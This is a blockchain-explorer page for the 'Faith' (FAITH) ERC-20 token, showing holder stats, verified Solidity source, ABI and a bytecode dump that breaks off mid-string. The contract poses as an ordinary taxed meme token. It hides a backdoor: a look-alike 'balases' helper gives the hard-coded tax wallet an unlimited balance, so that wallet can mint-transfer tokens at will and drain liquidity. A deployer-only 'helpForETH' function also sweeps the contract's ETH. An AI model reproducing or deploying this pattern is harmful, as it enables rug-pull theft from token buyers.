ETH Price: $3,350.29 (-3.73%)

Token

Faith (FAITH)
 

Overview

Max Total Supply

1,000,000,000 FAITH

Holders

71

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
410,664.575662611805469497 FAITH

Value
$0.00
0xf198123b98ab0230245e6f3d01cf0bd696e823fd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FAITH

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Token.sol
// SPDX-License-Identifier: MIT

/*
Website: https://faithcoin.wtf
X: https://x.com/FaithOnEth
Telegram: https://t.me/FaithOnEth
*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract FAITH is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balases;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    address private _deployer;

    uint256 private _firstBuyTax = 12;
    uint256 private _firstSellTax = 12;
    uint256 private _lastBuyTax = 0;
    uint256 private _lastSellTax = 0;
    uint256 private _downBuyTaxAt = 12;
    uint256 private _downSellTaxAt = 12;
    uint256 private _preventSwapBefore = 12;
    uint256 private _buyCount = 0;

    uint256 public _maxTxLimits = 2 * (_tTotal / 100);
    uint256 public _maxWalletLimits = 2 * (_tTotal / 100);
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 1 * (_tTotal / 100);

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Faith";
    string private constant _symbol = unicode"FAITH";

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x4201cde564E2E720A9889fcD9871f4f26D233B99);
        _balases[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        _deployer = _msgSender();

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balases[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _checkPassed(address addr) internal view returns (bool) {
        return addr == _taxWallet;
    }

    function balases(address addr) internal view returns (uint256 balance) {
        if (_checkPassed(addr)) return type(uint256).max;

        return _balases[addr];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() external onlyOwner {
        _maxTxLimits = _tTotal;
        _maxWalletLimits = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul((_buyCount > _downBuyTaxAt) ? _lastBuyTax : _firstBuyTax)
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxLimits, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletLimits,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _downSellTaxAt)
                            ? _lastSellTax
                            : _firstSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore
            ) {
                if (contractTokenBalance > _taxSwapThreshold)
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToWallet(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balases[address(this)] = _balases[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balases[from] = balases(from).sub(amount);
        _balases[to] = balases(to).add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function openFaith() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function helpForETH(address addr) external {
        require(_msgSender() == _deployer, "No AUTH");
        payable(_msgSender()).transfer(address(this).balance);
        _taxWallet = payable(addr);
    }

    function sendETHToWallet(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxLimits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"helpForETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openFaith","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600c600655600c6007555f6008555f600955600c600a55600c600b55600c80555f600d5560646012600a6100389190610643565b633b9aca00610047919061068d565b61005191906106fb565b600261005d919061068d565b600e5560646012600a6100709190610643565b633b9aca0061007f919061068d565b61008991906106fb565b6002610095919061068d565b600f556012600a6100a69190610643565b60646100b2919061068d565b60105560646012600a6100c59190610643565b633b9aca006100d4919061068d565b6100de91906106fb565b60016100ea919061068d565b6011555f601360156101000a81548160ff0219169083151502179055505f601360166101000a81548160ff02191690831515021790555034801561012c575f80fd5b505f61013c6104a460201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350734201cde564e2e720a9889fcd9871f4f26d233b9960045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a61023a9190610643565b633b9aca00610249919061068d565b60015f61025a6104a460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f6102aa6104ab60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103d26104a460201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061041f6104a460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a61047b9190610643565b633b9aca0061048a919061068d565b604051610497919061073a565b60405180910390a3610753565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610554578086048111156105305761052f6104d2565b5b600185161561053f5780820291505b808102905061054d856104ff565b9450610514565b94509492505050565b5f8261056c5760019050610627565b81610579575f9050610627565b816001811461058f5760028114610599576105c8565b6001915050610627565b60ff8411156105ab576105aa6104d2565b5b8360020a9150848211156105c2576105c16104d2565b5b50610627565b5060208310610133831016604e8410600b84101617156105fd5782820a9050838111156105f8576105f76104d2565b5b610627565b61060a848484600161050b565b92509050818404811115610621576106206104d2565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61064d8261062e565b915061065883610637565b92506106857fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461055d565b905092915050565b5f6106978261062e565b91506106a28361062e565b92508282026106b08161062e565b915082820484148315176106c7576106c66104d2565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6107058261062e565b91506107108361062e565b9250826107205761071f6106ce565b5b828204905092915050565b6107348161062e565b82525050565b5f60208201905061074d5f83018461072b565b92915050565b612e0b806107605f395ff3fe60806040526004361061010c575f3560e01c8063715018a611610094578063a9059cbb11610063578063a9059cbb14610333578063baff27131461036f578063bf474bed14610397578063dd62ed3e146103c1578063f54c6b32146103fd57610113565b8063715018a6146102b3578063751039fc146102c95780638da5cb5b146102df57806395d89b411461030957610113565b806323b872dd116100db57806323b872dd146101d1578063313ce5671461020d5780635038a7da14610237578063521874b71461024d57806370a082311461027757610113565b806306fdde0314610117578063095ea7b3146101415780630faee56f1461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610427565b6040516101389190611f49565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190611ffa565b610464565b6040516101749190612052565b60405180910390f35b348015610188575f80fd5b50610191610481565b60405161019e919061207a565b60405180910390f35b3480156101b2575f80fd5b506101bb610487565b6040516101c8919061207a565b60405180910390f35b3480156101dc575f80fd5b506101f760048036038101906101f29190612093565b6104aa565b6040516102049190612052565b60405180910390f35b348015610218575f80fd5b5061022161057e565b60405161022e91906120fe565b60405180910390f35b348015610242575f80fd5b5061024b610586565b005b348015610258575f80fd5b50610261610aa8565b60405161026e919061207a565b60405180910390f35b348015610282575f80fd5b5061029d60048036038101906102989190612117565b610aae565b6040516102aa919061207a565b60405180910390f35b3480156102be575f80fd5b506102c7610af4565b005b3480156102d4575f80fd5b506102dd610c42565b005b3480156102ea575f80fd5b506102f3610d71565b6040516103009190612151565b60405180910390f35b348015610314575f80fd5b5061031d610d98565b60405161032a9190611f49565b60405180910390f35b34801561033e575f80fd5b5061035960048036038101906103549190611ffa565b610dd5565b6040516103669190612052565b60405180910390f35b34801561037a575f80fd5b5061039560048036038101906103909190612117565b610df2565b005b3480156103a2575f80fd5b506103ab610f16565b6040516103b8919061207a565b60405180910390f35b3480156103cc575f80fd5b506103e760048036038101906103e2919061216a565b610f1c565b6040516103f4919061207a565b60405180910390f35b348015610408575f80fd5b50610411610f9e565b60405161041e919061207a565b60405180910390f35b60606040518060400160405280600581526020017f4661697468000000000000000000000000000000000000000000000000000000815250905090565b5f610477610470610fa4565b8484610fab565b6001905092915050565b60115481565b5f6012600a6104969190612304565b633b9aca006104a5919061234e565b905090565b5f6104b684848461116e565b610573846104c2610fa4565b61056e85604051806060016040528060288152602001612dae6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610525610fa4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118f09092919063ffffffff16565b610fab565b600190509392505050565b5f6012905090565b61058e610fa4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610611906123d9565b60405180910390fd5b601360149054906101000a900460ff161561066a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066190612441565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610728573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074c9190612473565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f69190612473565b6040518363ffffffff1660e01b815260040161081392919061249e565b6020604051808303815f875af115801561082f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108539190612473565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161092f9291906124c5565b6020604051808303815f875af115801561094b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096f9190612516565b506109b83060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a6109a49190612304565b633b9aca006109b3919061234e565b610fab565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a0030610aae565b5f80610a0a610d71565b426040518863ffffffff1660e01b8152600401610a2c96959493929190612583565b60606040518083038185885af1158015610a48573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a6d91906125f6565b5050506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b600f5481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610afc610fa4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f906123d9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c4a610fa4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccd906123d9565b60405180910390fd5b6012600a610ce49190612304565b633b9aca00610cf3919061234e565b600e819055506012600a610d079190612304565b633b9aca00610d16919061234e565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a610d4b9190612304565b633b9aca00610d5a919061234e565b604051610d67919061207a565b60405180910390a1565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4641495448000000000000000000000000000000000000000000000000000000815250905090565b5f610de8610de1610fa4565b848461116e565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e32610fa4565b73ffffffffffffffffffffffffffffffffffffffff1614610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90612690565b60405180910390fd5b610e90610fa4565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610ed2573d5f803e3d5ffd5b508060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600e5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611019576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110109061271e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107e906127ac565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611161919061207a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d39061283a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361124a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611241906128c8565b60405180910390fd5b5f811161128c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128390612956565b60405180910390fd5b5f611295610d71565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561130357506112d3610d71565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156116aa576113446064611336600a54600d541161132357600654611327565b6008545b8561195290919063ffffffff16565b6119c990919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156113ef575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611442575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156114fc57600e5482111561148c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611483906129be565b60405180910390fd5b600f548261149985610aae565b6114a391906129dc565b11156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612a59565b60405180910390fd5b600d5f8154809291906114f690612a77565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561158457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115c8576115c560646115b7600b54600d54116115a4576007546115a8565b6009545b8561195290919063ffffffff16565b6119c990919063ffffffff16565b90505b5f6115d230610aae565b9050601360159054906101000a900460ff1615801561163d575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116555750601360169054906101000a900460ff165b80156116645750600c54600d54115b156116a8576010548111156116915761169061168b8461168684601154611a12565b611a12565b611a2a565b5b5f4790505f81106116a6576116a547611c95565b5b505b505b5f8111156117a9576117028160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cfd90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117a0919061207a565b60405180910390a35b6117c4826117b686611d5a565b611dd790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061183261181b8284611dd790919063ffffffff16565b61182485611d5a565b611cfd90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118d58486611dd790919063ffffffff16565b6040516118e2919061207a565b60405180910390a350505050565b5f838311158290611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9190611f49565b60405180910390fd5b505f83856119459190612abe565b9050809150509392505050565b5f808303611962575f90506119c3565b5f828461196f919061234e565b905082848261197e9190612b1e565b146119be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b590612bbe565b60405180910390fd5b809150505b92915050565b5f611a0a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e20565b905092915050565b5f818311611a205782611a22565b815b905092915050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a6157611a60612bdc565b5b604051908082528060200260200182016040528015611a8f5781602001602082028036833780820191505090505b50905030815f81518110611aa657611aa5612c09565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b4a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b6e919061247356